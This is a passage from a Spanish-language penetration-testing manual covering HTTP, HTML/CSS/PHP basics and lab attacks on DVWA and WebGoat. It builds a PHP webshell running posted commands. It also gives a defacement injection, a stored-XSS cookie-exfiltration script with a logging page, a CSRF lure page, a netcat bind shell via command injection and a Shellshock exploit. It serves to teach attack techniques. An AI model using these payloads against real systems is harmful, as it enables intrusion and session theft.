gestionar estos carácteres unicode. Como vimos al principio de esta sección en el RFC
3896, los nombres de dominio siguen la especificación del RFC 1034:
Es decir, de acuerdo al RFC 1034, los nombres de dominio, basicamente, podían contener
letras, números, guiones, el símbolo menos (-) y el punto (.). Con estas reglas tan
restrictivas no se podían representar dominios en idiomas como el japonés o el árabe. Para
permitir nombres de dominios con carácteres unicode se crearon:
Los IDN son nombres de dominio que contienen carácteres no-ASCII y Punycode es el
método de codificación que se usa para representar estos caracteres no-ASCII. Vamos a
explicarlo un poco mejor. Cuando se decidió aceptar nombres de dominio IDN con
caracteres no-ASCII había un problema y es que, como hemos visto, las reglas de los
nombres de dominio no permiten estos caracteres no-ASCII. La solución que se dió a este
problema fue implementar un método de traducción, en los navegadores de internet, para
convertir los IDN (nombres de dominio con caracteres no-ASCII) a cadenas de carácteres
ASCII. A este método o sistema de codificación se le denominó Punycode. El algoritmo o
método de traducción que utiliza punycode esta descrito en el RFC 3492. Grosso modo, el
formato que utiliza punycode para codificar los dominios IDN en cadenas ASCII es:
xn--{caracteresASCIIDelDominio}-{codificaciónPunicodeDeCaracteresNo-ASCII}.ext
Aunque describir el algoritmo excede del alcance de esta pequeña guía, veamos algunos
ejemplos. Accedemos a una página web que nos convierta caracteres unicode a punycode
como [Link]
495
Web
vamos a hacer una pequeña traducción. Para ello, hacemos click sobre la sección
Caracteres Unicode:
496
Web
ahora hacemos click sobre el símbolo a en Cyrillic -que no es lo mismo que la letra a del
alfabeto aunque se le parezca mucho-:
497
Web
Ponemos el cursor detrás del símbolo a del grupo de caracteres Cyrillic y hacemos click en
la letra p:
498
Web
Ponemos el cursor detrás de la letra p y hacemos click nuevamente en la letra p para añadir
otra más:
499
Web
500
Web
para traducirlo:
501
Web
[Link]
xn--{caracteresASCIIDelDominio}-{codificaciónPunicodeDeCaracteresNo-ASCII}.ext
y pulsamos intro:
Sin embargo ciertas combinaciones de caracteres no son detectadas. Uno de los primeros
ataques que hicieron uso de esta técnica son los llamados Homograph attack para
confundir al usuario cambiando unos caracteres por otros y registrar un nombre de dominio
que visualmente se vea igual que otro. La descripción completa del ataque puede
encontrarse en el siguiente documento:
[Link]
502
Web
Para defendernos de este tipo de ataques sólo podemos contar con la seguridad del propio
navegador. Habrá dominios maliciosos que sean detectados por firefox y no por chrome y
viceversa.
Vemos que el navegador sigue esta estructura al solicitar una página web:
503
Web
En este caso usa el método GET del protocolo HTTP 1.1 para solicitar la URI /mundo al
host [Link]. Asimismo cuando realizamos una petición, siempre que el servidor este
activo y contando con que ningún dispositivo de seguridad nos esté bloqueando,
recibiremos una respuesta HTTP. Aparte de la página web que vemos en el navegador, la
respuesta tiene la siguiente estructura:
504
Web
También se pueden enviar datos a través del protocolo HTTP, en este caso la petición tiene
la siguiente estructura:
Algunos de los métodos más frecuentes que podemos usar para realizar peticiones HTTP
son:
HEAD
OPTIONS
GET
POST
PUT
DELETE
505
Web
Vamos a utilizar el programa telnet para familiarizarnos con el protocolo HTTP. Para ello,
haremos peticiones a la página [Link] Para conectarnos desde telnet a
[Link], tecleamos en el terminal de Kali Linux:
telnet [Link] 80
Veremos que conecta con el host y nos muestra el cursor parpadeando para indicarnos que
podemos realizar la petición. Escribimos la línea de la petición (Request Line). Vamos a
empezar usando GET para solicitar el recurso principal (URI /):
506
Web
Como podemos ver nos devuelve sólo la cabecera de la respuesta sin incluir el contenido.
Para saber todos los métodos del protocolo HTTP disponibles, podemos usar el método
OPTIONS:
507
Web
Como hemos visto en la sección anterior, podemos realizar peticiones HTTP pasando
variables en el query string de la URL para ello usaremos el verbo GET y haremos la
petición a la URI /get:
508
Web
También hemos visto que podemos pasar variables en el cuerpo de la petición usando el
método POST del protocolo HTTP. Para ello, realizamos la petición a la URI /post. Es
importante en las peticiones que utilizan el método POST añadir la cabecera Content-
Length:
Por ejemplo, vamos a usar openssl para solicitar la página [Link] Para ello
tecleamos:
y pulsamos Intro. Tras la información del certificado, nos mostrará el cursor para que
realicemos la petición HTTP:
509
Web
510
Web
Si queremos que, aparte del contenido, se nos muestren las cabeceras de la respuestas, le
pasamos la opción -i a curl:
curl -i [Link]
curl -I [Link]
511
Web
Ahora bien, qué ocurre cuando hacemos una petición a una página cuyo certificado no ha
sido emitido por una CA de confianza:
curl [Link]
No nos deja ver el recurso porque el certificado no puede comprobarse. Para que acepte
certificados inseguros podemos usar la opción -k a curl:
curl -k [Link]
Ahora vemos que si nos acepta el contenido. Pero no sólo podemos hacer peticiones
usando el método GET del protocolo HTTP. Podemos pasar a curl la opción -X seguida del
método que queramos usar. Por ejemplo el método OPTIONS:
512
Web
También podemos personalizar las cabeceras del protocolo HTTP que usará curl para
realizar la petición. Para ello, le pasamos a curl la opción -H seguida de la cabecera por
cada una de las cabeceras que queramos añadir. Por ejemplo, vamos a añadirle la
cabecera User-Agent para indicar quién hace la petición y la cabecerá Referer para indicar
desde donde venimos:
Hasta ahora las peticiones que hemos realizado son para solicitar información pero y si
queremos hacer una peticion con el método POST para enviar datos. En ese caso,
pasamos a curl la opción --data y a continuación los datos a enviar:
513
Web
<p>Esto es un párrafo</p>
Este conjunto de etiquetas que podemos usar son las que dan estructura a la página web y
forman un documento html. Vamos a verlo de forma práctica. Sí copiamos el texto y las
etiquetas html a un documento de texto:
514
Web
Como la palabra teoría esta entre etiquetas strong, se muestra en negrita. Hay muchas más
etiquetas interesantes. En dos ejemplos anteriores hemos utilizado una etiqueta para indicar
dónde empieza el contenido y otra para indicar dónde acaba, pero esto no siempre es así.
Por ejemplo, si quisiéramos insertar una imágen, nos bastaría usar una etiqueta img y
decirle dónde está la imagen usando la palabra src:
<img src="[Link]
Cuando metemos un contenido entre etiquetas html, este contenido pasa a ser un elemento
del documento HTML. Los elementos pueden clasificarse en 2 grandes grupos:
elementos de línea
515
Web
elementos de bloque
Los elementos en línea son aquellos que no producen un salto de línea cuando los
usamos. Por ejemplo, cuando usabamos la etiqueta strong dentro de un párrafo para indicar
que una palabra era importante, la palabra seguía dentro de la misma línea:
Otro elemento en línea muy común son los enlaces que, en el lenguaje html, se llaman
anclas (anchors). Para crear un enlace utilizamos la etiqueta a y el atributo href para
indicarle a dónde queremos enlazar. Veamos un ejemplo:
516
Web
Los elementos en bloque son aquellos que añaden un salto de línea. Por ejemplo, la
etiqueta br añade un salto de línea a los párrafos:
517
Web
y lo visualizamos en el navegador:
518
Web
Debido al alcance de esta pequeña guía, no es posible cubrir en detalle todas las etiquetas
del lenguaje HTML pero, para quién quiera profundizar o tener una guía, puede consultar
Mozilla Developer Network
La parte que va a ver el usuario se mete entre la etiqueta body y el contenido que no va a
ver se mete entre la etiqueta head. El contenido que el usuario no va a ver son
normalmente metadatos u otra información que no es mostrada directamente por el
navegador cuando el usuario accede a la página web. Toda página web comienza por la
declararse como documento html:
<!doctype html>
519
Web
y después entre la etiqueta html, define el contenido que verá o no verá el usuario:
<!doctype html>
<html>
<head></head>
<body></body>
</html>
Por ejemplo, para crear un documento html correcto de la web que hemos creado antes,
meteriamos el contenido entre la etiqueta body:
<!doctype html>
<html>
<head></head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>
520
Web
Veamos un ejemplo con la página web que hemos creado antes. Como las reglas CSS no
hay necesidad que sean visibles para el usuario, pondremos la etiqueta style dentro de la
etiqueta head. La primera regla que vamos a usar es que las palabras importantes, esas
que iban entre etiquetas strong, se muestren en azul. Para ello, indicamos la etiqueta a la
que queremos afectar, en este caso strong y entre corchetes indicamos la regla:
<style>
strong {
color: blue;
}
</style>
521
Web
<!doctype html>
<html>
<head>
<style>
strong {
color: blue;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>
522
Web
Veremos que la palabra teoría ahora esta en azul. También hemos comentado que nos
permite decidir dónde poner cada cosa. Por ejemplo, si quisieramos poner el elemento de
bloque genérico div arriba a la derecha. Crearíamos una regla que indicase que queremos
posicionar ese elemento de forma absoluta, a 0 distancia de la parte superior de la pantalla
(top) y a 0 distancia de la parte derecha de la pantalla (right). La regla sería:
<style>
div {
position: absolute;
top: 0;
right: 0;
}
</style>
523
Web
<!doctype html>
<html>
<head>
<style>
strong {
color: blue;
}
div {
position: absolute;
top: 0;
right: 0;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p>Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>
524
Web
veremos que el elemento genérico (div) está ahora a la derecha. A veces no queremos que
una regla CSS afecte a todas las etiquetas de un mismo tipo. Para ello, como en el mundo
real, existen las clases. Aunque las reglas son iguales para todos, hay a clases de personas
que no les afectan. Para dar una clase a una etiqueta, por ejemplo, a un párrafo, usamos el
atributo class:
Una vez que una etiqueta tiene clase, poder hacer reglas CSS para esa clase. Para ello,
indicamos el nombre de la clase precedida de un punto cuando creemos la regla:
<style>
.especial {
color: purple;
}
</style>
Veamos un ejemplo en la web que estamos creando. Vamos a añadir al siguiente párrafo:
la clase especial:
525
Web
<!doctype html>
<html>
<head>
<style>
strong {
color: blue;
}
div {
position: absolute;
top: 0;
right: 0;
}
.especial {
color: purple;
}
</style>
</head>
<body>
<p>La <strong>teoría</strong> es importante para entender la práctica</p>
<img src="[Link]
<p>Siempre podemos intentar buscar en <a href="[Link]
a> para tener más información</p>
<p class="especial">Este texto esta arriba<br>y este texto abajo</p>
<div>Este es un elemento genérico</div>
</body>
</html>
526
Web
veremos que el texto del párrafo que tiene la clase especial está en morado. Otras reglas
que podemos utilizar son:
Nuevamente no es objeto de esta pequeña guía cubrir las reglas CSS, para ampliar
conocimientos se puede consultar Mozilla Developer Network
527
Web
ejemplos que se suele mostrar, es mostrar un mensaje por pantalla. Para ello, entre la
etiqueta script, tecleamos la palabra alert seguido de paréntesis y un punto y coma (;) y,
entre los paréntesis, el mensaje a mostrar entre comillas:
Si añadimos el código, por ejemplo, al final de la etiqueta body de nuestra página web. Lo
copiamos al bloc de notas:
528
Web
529
Web
<!doctype html>
<html>
<head>
</head>
<body>
</body>
</html>
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
</body>
</html>
y lo abramos en un navegador:
530
Web
veremos que el título se muestra en la barra del navegador. Lo siguiente que vamos a
añadir es una etiqueta generica de bloque. Esa que llamabamos div. Pero como el nombre
de div no dice mucho y vamos a utilizar otras etiquetas que hacen lo mismo que div pero
que dan significado a lo que hacemos. Algunas de estas etiquetas que hacen lo mismo que
div son:
header
footer
main
nav
aside
section
article
figure
audio
video
Lo primero que vamos a diseñar es la cabecera de la página. Para ello, vamos a usar la
etiqueta header para crear un bloque y, dentro de ella, la etiqueta h1 (encabezado de
importancia 1) para poner el título. Hay 6 etiquetas de encabezados que van desde la h1
para el encabezado más importante hasta el h6 el menos importante. Por ejemplo, h1
podría ser el títular de un periódico o un título de una página web y h2 un subtítulo o
subtitular. Al final esto lo decide el diseñador. Para lo que nos interesa, lo haremos sencillo
un h1 para el título de la página dentro de unas etiquetas header para decir que ese es el
encabezado de la página. Como queremos que el título lo vea el usuario, lo pondremos en
las etiquetas body:
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
</body>
</html>
531
Web
method => método del protocolo HTTP que usaremos para enviar el formulario (GET o
POST)
action => indica qué fichero del servidor se hará cargo cuando pulsemos el botón
submit. Si queremos usar el mismo fichero podemos indicar con el símbolo #
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#"></form>
</main>
</body>
</html>
Para crear campos donde el usuario pueda meter texto -en este caso el comando que
quiera ejecutar- usamos la etiqueta input. La etiqueta input tiene varios tipos que se indican
con el atributo type. Para este formulario veremos 2:
532
Web
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#">
<input type="text"><input type="submit">
</form>
</main>
</body>
</html>
Enviar consulta como nombre del botón no resulta muy intuitivo, por lo que utilizamos el
atributo value para darle otro texto. Por ejemplo, ejecutar:
533
Web
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#">
<input type="text"><input type="submit" value="Ejecutar comando">
</form>
</main>
</body>
</html>
Con esto habríamos acabado todo el código html que necesita la webshell. Podemos
añadirle estilos (CSS) para que se vea mejor.
534
Web
Una vez iniciado, nos vamos a la carpeta donde se encuentran los ficheros de apache
/var/www/html:
Cualquier fichero que pongamos en esta carpeta, será accesible desde nuestro navegador
siempre y cuando el fichero tenga los permisos necesarios. Vamos a crear un archivo php.
Los archivos PHP, al igual que ocurre con los HTML, tienen una etiqueta de inicio y otra de
cierre:
La instrucción echo sirve en PHP para escribir por pantalla. Con estos datos ya podemos
crear un fichero sencillo con este código:
<?php
echo "Bienvenido a PHP";
?>
al igual que ocurría con ECMAScript (JavaScript) y muchos otros lenguajes que comparten
la sintaxis de C, las sentencias (intrucciones) del lenguaje terminan con punto y coma.
Creamos el fichero con cualquier editor de texto:
añadimos el código:
535
Web
si desde el navegador (cliente) vemos el código del archivo, veremos que no hay ni rastro
de PHP:
Esto es, porque el cliente no tiene acceso a lo que hace el camarero (servidor). Una de las
ventajas que hicieron a PHP muy popular es que sus etiquetas pueden mezclarse con
etiquetas html. Vamos a ver un ejemplo y dar funcionalidad a la web shell. Para ello,
copiamos el código de la webshell a un nuevo fichero dentro del directorio de apache. Creo
un fichero llamado [Link] con un editor de texto:
Para que PHP pueda ver el contenido de lo que escribimos en el formulario, deberemos dar
un nombre al campo usando el atributo name. Se lo damos:
536
Web
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
</main>
</body>
</html>
En PHP existen unas variables especiales que nos facilitan los datos que mete el usuario en
el formulario. En este caso el usuario nos facilita el comando que quiere ejecutar usando el
método POST del protocolo HTTP. Luego para mostrarlo haremos:
537
Web
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
<?php echo $_POST["comando"]; ?>
</main>
</body>
</html>
538
Web
<?php
echo system($_POST["comando"]);
?>
en el archivo [Link]:
<!doctype html>
<html>
<head>
<title>Frontend de webshell sencilla</title>
</head>
<body>
<header>
<h1>Webshell muy sencilla</h1>
</header>
<main>
<form method="post" action="#">
<input type="text" name="comando"><input type="submit" value="Ejecutar
comando">
</form>
<?php echo system($_POST["comando"]); ?>
</main>
</body>
</html>
Tendríamos una webshell muy sencilla, pero que funciona. Por ejemplo si tecleamos ls y
pulsamos el botón Ejecutar comando:
539
Web
Veriamos que aparecen listados todos los ficheros de la carpeta del servidor apache:
NOTA No se ha reparado en validar los datos de entrada que puedan meter en el formulario
porque se sale del alcance de este manual
540
Web
Cuando se nos muestre la pantalla de login, salvo que se indique lo contrario, accederemos
a la aplicación con las siguientes credenciales:
541
Web
OWASP Webgoat
Para instalar OWASP WebGoat, accedemos al repositorio de WebGoat. Hacemos click con
el botón derecho en el archivo [Link] y hacemos click sobre la
opción Copy Link Location:
542
Web
wget [Link]
[Link]
543
Web
HTML Injection
HTML injection consiste en usar etiquetas html y reglas css en un formulario que nos lo
permita para realizar acciones maliciosas como, por ejemplo, defacing. Defacing es cambiar
el aspecto visual de parte o de toda la web. En este ejemplo usaremos HTML injection para
realizar un defacing.
544
Web
también nos permitan escribir comentarios utilizando etiquetas HTML. Por ejemplo, quizá
alguna persona quiera resaltar una palabra en negrita para que destaque en el texto. Para
poner una palabra en negrita, utilizamos la etiqueta strong del lenguaje HTML. Ponemos la
palabra que queramos destacar entre las etiquetas strong y pulsamos el botón Sign
Guestbook:
545
Web
Hasta aquí todo bien. Asimismo vemos que, si intentamos poner un comentario demasiado
largo, no podemos. En este caso llegados a la letra r de la palabra corta, no nos permite
continuar:
Vamos a ver primero como desactivar esta limitación de caracteres cuando realizamos
comentarios en la página web. Para ello, usamos la tecla F12 para desbloquear ver el texto
de la web. Hacemos click en la flecha que está arriba a la izquierda del cuadro de opciones
que se nos ha desplegado:
546
Web
y hacemos click sobre el recuadro del comentario para ver en la página web la parte del
texto donde está el recuadro del comentario:
Una vez localizado nos damos cuenta que nos están limitando la longitud del texto a 50
caracteres. Como queremos escribir más de 50 caracteres, seleccionamos el texto
haciendo doble click y borramos el atributo maxlength:
547
Web
Pero que ocurre si ahora en vez de hacer un comentario, llega un usuario un poco trasto y
teclea las siguientes etiquetas html:
<div style="position:absolute;left:0;top:0;width:100%;height:100%;background:black;col
or:white;z-index:9999"><h1 style="text-align=center;margin-top:10px;">Trasto ha estado
aquí</h1><img src="[Link]
Debido a que los comentarios que hacemos en la aplicación se muestran cada vez que un
usuario accede, si esto ocurre, habrá conseguido que, en vez del contenido de nuestra web,
se muestre el contenido que el quiera:
548
Web
NOTA
Pendiente de ampliar
549
Web
Se puede acceder a las cookies de una página y enviarlas a un servidor remoto usando
ECMAScript (JavaScript). Si tenemos el texto de la cookie de un usuario, en muchos casos,
seremos capaces de suplantar su identidad. Probemoslo en DVWA, desactivamos la
limitación de los caracteres que tiene el formulario del mismo modo que hicimos en el
apartado de HTML Injection. Es decir, inspeccionamos el elemento donde tecleamos el
comentario:
550
Web
<script>fetch(`[Link]
Con esa línea de código vamos a conseguir que se envíe la cookie al servidor remoto que
queramos. Antes de teclear el comentario, como estamos enviando la cookie a nuestro
servidor, iniciamos el servidor Apache:
Una vez iniciado, nos vamos a la carpeta donde se encuentran los ficheros de apache
/var/www/html:
y creamos el fichero [Link] con cualquier editor de texto. Por ejemplo gedit:
551
Web
<?php
$cookie = $_GET['data'];
$archivoParaGuardarLasCookies = fopen("[Link]", "a+");
fwrite($archivoParaGuardarLasCookies, $cookie . "\n");
fclose($archivoParaGuardarLasCookies);
?>
al fichero:
Tras guardar los cambios, cerramos gedit. Ahora podemos añadir el comentario y el código.
Después pulsamos el botón Sign Guestbook:
Qué ocurre si ahora, en cualquier ordenador de su casa entra otro usuario a la aplicación.
Por ejemplo, el administrador:
552
Web
El usuario verá los comentarios y no notará nada. Sin embargo, en nuestro servidor,
habremos recibido la cookie de ese usuario y se habrá guardado en el archivo [Link]:
553
Web
Utilizando la cookie, podremos suplantar su identidad. Vamos a ver una manera de hacerlo,
usando Burp Suite. Si yo intento acceder a la web y no estoy autenticado, se me presentará
la pantalla de login:
554
Web
555
Web
Veo que el proxy (equipo intermedio) captura la petición. En las cabeceras de la petición
vemos la cookie que el servidor le ha dado a nuestro navegador:
La borramos:
556
Web
y la pegamos en el proxy:
557
Web
558
Web
sitio que no es el que esta visitando. En este caso vamos a preparar un ataque CSRF para
que un usuario sin darse cuenta realize un comentario en la aplicación DVWA al registrar su
email en otra página web. Para ello, abrimos DVWA con el proxy de burpsuite activado y
desde la opción XSS Stored realizamos un comentario:
Vamos al proxy de burpsuite para ver la petición HTTP que se está realizando:
y nos fijamos en los parámetros que se están pasando en el cuerpo de la petición POST:
Estos tres parámetros son los que nosotros necesitamos para falsificar una petición HTTP
desde otro sitio que diseñemos para este propósito. Sino tenemos iniciado el servidor
apache, lo iniciamos:
559
Web
Lo primero que tenemos que hacer es diseñar el sitio web donde el usuario registrará su
email. En este caso hemos creado el siguiente sitio web utilizando sólo html y css:
<!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title></title>
<style>
html{font-size:24px;}
body * {box-sizing:border-box;}
body{margin:0;padding:0;height:100%;}
header, fieldset, label, input, main {margin:0;padding:0;outline:0;border:0
;display:block;}
input[type="email"]{padding:5px 10px;margin:0px auto;}
input[type="text"]{padding:5px 10px;margin:0px auto;}
input[type="submit"]{padding:5px 10px;margin:10px auto;cursor:pointer;bord
er-radius:5px;background:#DEB887;}
h2{font-weight:normal;padding:10px;}
.pagina{display:block;max-width:900px;margin:0 auto;}
.todo-ancho{width:100%;}
.setenta{width:70%;}
.treinta{width:30%;}
.centrar-texto{text-align:center;}
.texto-grande{font-size: 2em;}
.texto-mediano{font-size: 1.2em}
.borde-email{border-bottom:1px dashed #666;}
.con-borde-rojo{border:2px dashed #DEB887;}
</style>
</head>
<body>
<header class="pagina">
<h1 class="centrar-texto texto-grande">El hogar de los gatos trastos</h1>
<img src="[Link]
<h2 class="centrar-texto texto-mediano con-borde-rojo">Esta página web se
encuentra en proceso de desarrollo</h2>
</header>
560
Web
<main class="pagina">
<h1></h1>
<p>Por favor, facilitenos su dirección de email y en cuanto este terminada
le avisaremos para venga a visitarnos:</p>
<form class="form" action="#" method="post" id="registro">
<div class="todo-ancho">
<input type="email" id="email" placeholder="emaildegatotrasto@domi
[Link]" name="cmd" class="setenta centrar-texto texto-mediano borde-email">
<input type="submit" id="submit" value="Guardar mi email 🙀"
class="setenta centrar-texto texto-mediano">
</div>
</form>
</main>
</body>
</html>
Y tras cerrar el editor de texto, lo abrimos desde nuestro navegador para visualizar el
aspecto:
561
Web
Si tecleamos una dirección de email y hacemos click en el botón Guardar mi email veremos
que no ocurre nada:
Vamos ahora a modificar el formulario para que, en vez de no pasar nada, haga un
comentario en la aplicación DVWA. Para ello, inspeccionamos el código del formulario en el
fichero csrf_example.html:
562
Web
Primero vamos a modificar el atributo action de la etiqueta form que es la que nos indica
donde se debe enviar la información que pongamos en el formulario. En este caso la
tenemos que enviar a la máquina que tiene la aplicación DVWA. Miramos cuál es la URL:
Y ahora vamos a añadir 3 inputs de tipo oculto al formulario con los parámetros que DVWA
espera. Esos parámetros que capturamos con el proxy de burpsuite:
al formulario:
563
Web
Es decir que, cada vez que un usuario haga click en el botón guardar mi email, si el usuario
está logado en DVWA, se firmará el libro de visitas (guestbook) con:
el usuario: trasto
el comentario: Este comentario lo ha hecho un trasto
Guardamos el fichero:
564
Web
Veremos que hace una peticion POST a DVWA en la que se realiza el comentario:
Command Injection
565
Web
Vamos ver como aprovecharnos nuevamente de que no se validen correctamente los datos
de entrada para ganar acceso no autorizado a un equipo usando la línea de comandos.
Para ello, pulsamos el botón Command Execution. Veremos un formulario que nos permite
hacer ping a cualquier página web:
Probamos a hacer ping a la página de google ya que es muy probable que este activa.
Tecleamos google y pulsamos el botón submit:
566
Web
En los sistemas operativos GNU/Linux se pueden encadenar comandos usando dos veces
el símbolo &. Vamos a probar si podemos ejecutar un segundo comando que diga hola por
pantalla:
567
Web
Bien pues sabiendo que podemos ejecutar comandos. Vamos a aprovecharnos del
comando nc (netcat) para crear un camarero (servidor) que escuche peticiones que le
hagamos. Esta vez el cliente, en vez de ser el navegador, será la línea de comandos. Para
crear el camarero con netcat, ejecutaremos el comando nc pasandole las siguientes
opciones:
-l => para indicarle que escuche a los clientes que le pidan cafés (conexiones)
-p => para indicarle a traves de qué ventanilla van a pedirle las cosas. Las ventanillas
normalmente tienen un número asociado. En este caso le vamos a decir que sólo
atienda a los clientes que vayan a la ventanilla 1234
-e => para decirles que tipo de café (servicio) quieren los clientes que se les sirva. En
este caso vamos a indicar al camarero que les a los clientes acceso al programa sh
(consola de comandos) que se encuentra en la carpeta bin
568
Web
Ahora si desde una consola de comandos, nos realizamos una petición al camarero a través
de la ventanilla 1234, nos servirá el programa sh:
y podremos ejecutar comandos. Por ejemplo, podemos ejecutar el comando whoami para
saber con que usuario hemos accedido a la máquina:
CVE-2014-6271 - Shellshock
Aunque la mayoría de las aplicaciones ya no presentan este fallo, entra en el exámen y nos
sirve para darnos cuenta que en las cabeceras del protocolo HTTP también se pueden
realizar inyecciones de código. Para ello, usaremos la ISO de pentesterlab que podemos
descargar del siguiente enlace. Shellsock es una vulnerabilidad de ejecución remota de
código del intérprete comandos bash. Hay aplicaciones que en vez de utilizar algún
lenguaje del lado del servidor para tratar datos, utilizan scripts en bash. La aplicación recibe
datos y se los pasa a bash utilizando un canal que se denomina Common Gateway
Interface que simplemente quiere decir la aplicación pasará y recibirá datos de scripts en
569
Web
bash. GGI pasa los datos de las cabeceras del protocolo http como variables de entorno al
script en bash. El modo de hacerlo es usar prefijo HTTP delante de la cabecera. Por
ejemplo, si la cabecera es referer, pasaría el valor de la cabecera referer en una variable de
entorno que se llamase HTTP_REFERER. La vulnerabilidad consiste en que nos permite
ejecutar comandos en el sistema operativo si como valor de la cabecera ponemos una
función en bash seguida del comando que queremos ejecutar. Es decir, declararíamos una
función vacía como valor:
() {:;}
accedemos a la web:
570
Web
Hacemos click en la pestaña HTTP history, pulsamos con el botón derecho del ratón en la
petición HTTP a la URI /cgi-bin/status y seleccionamos Send to Repeater del menú
desplegable:
571
Web
por el siguiente comando que mostrará el contenido del fichero /etc/passwd y pulsamos el
botón Go:
572
Web
Al igual que en el ejemplo anterior, también podríamos conseguir acceso a la máquina si,
por ejemplo, un programa como netcat estuviese instalado en el equipo. Copiamos el
payload:
573
Web
esto es buena señal. El servicio que hemos levantado con netcat se ha quedado a la
escucha. Ahora podemos conectarnos al servicio que hemos levantado usando netcat y
ejecutar comandos:
574
Web
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
como se puede observar, hemos creado las etiquetas que hemos querido con los atributos
que hemos querido. Ahora bien, al igual que un documento HTML teníamos que indicar el
tipo de documento con la declaración:
<!doctype html>
Luego para que nuestro documento XML sea completo, añadimos la declaración al
documento de las películas:
575
Web
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
En las aplicaciones web, XML se usa tanto para mostrar como para intercambiar datos. Por
ejemplo, los feeds RSS usan este formato para mostrar datos. Por ejemplo, podemos ver
los libros que se publicarán de la editorial No Starch Press:
576
Web
Algunas APIs aceptan datos en XML y devuelven datos en XML. Por ejemplo, la API de
OpenWeatherMap puede mostrar los datos del tiempo que hace actualmente en Londres en
formato XML:
Una vez visto, informalmente, como es un documento XML básico, vamos a profundizar un
poco más. En el lenguaje HTML, las etiquetas que se pueden usar estar definidas, sin
embargo en XML, podemos usar las que queramos. Esto puede hacer que nos
preguntemos ¿Cómo podemos saber si un documento XML es válido o no. Si recordarmos
del lenguaje HTML, cuando comenzábamos un documento, lo hacíamos con la declaración
DOCTYPE:
<!doctype html>
El DOCTYPE de un documento nos indica que es válido y que no. En el lenguaje XML,
también podemos definir un doctype para los documentos que creemos. En el doctype,
entre otros, podremos indicar:
577
Web
y entre los corchetes, definiríamos los elementos válidos con la etiqueta !ELEMENT.
Veamos el ejemplo para nuestro archivo de películas:
<!DOCTYPE películas [
Después vemos que el elemento películas puede contener uno o varios elementos
(etiquetas) película. Esto nos lo indica el símbolo + tras la palabra películas:
título
directora
director
reparto
género
actriz
actor
finalmente indicamos si los datos de cada una de las etiquetas deben ser parseados o no:
578
Web
en este caso indicamos que todos los datos de las etiquetas deben ser parseados:
El documento XML de las películas con el doctype que hemos creado quedaría así:
579
Web
<!DOCTYPE películas [
<!ELEMENT películas (película+)>
<!ELEMENT película (título, directora, director, reparto, género, actriz, actor)>
<!ELEMENT título (#PCDATA)>
<!ELEMENT directora (#PCDATA)>
<!ELEMENT director (#PCDATA)>
<!ELEMENT reparto (#PCDATA)>
<!ELEMENT género (#PCDATA)>
<!ELEMENT actriz (#PCDATA)>
<!ELEMENT actor (#PCDATA)>
]>
<películas>
<película prestada="no">
<título>Siete almas</título>
<director>Gabriel Muccino</director>
<reparto>
<actriz>Rosario Dawson</actriz>
<actor>Will Smith</actor>
</reparto>
<género>Drama</género>
</película>
<película prestada="no">
<título>El club de los poetas muertos</título>
<director>Peter Weir</director>
<reparto>
<actor>Robert Sean Leonard</actor>
<actor>Ethan Hawke</actor>
<actor>Robin Williams</actor>
</reparto>
<género>Drama</género>
</película>
</películas>
Esta es la forma de usar un DOCTYPE interno dentro del documento XML. Estos doctypes
internos se conocen con el nombre internal DTD (Document Type Definition). Si quisiéramos
utilizar un doctype externo (external DTD) para validar nuestro archivo XML, también
podemos hacerlo. Para ello, en vez de definir los elementos del documento en el fichero
XML de películas, creamos un fichero que se llame, por ejemplo, pelí[Link] con los
elementos:
580
Web
y una vez hemos creado el documento pelí[Link], utilizamos la palabra SYSTEM para
indicar la URI donde se encuentra el fichero:
Nuestro documento XML de películas con doctype externo ([Link]) quedaría así:
<películas>
<película prestada="no">
<título>Siete almas</título>
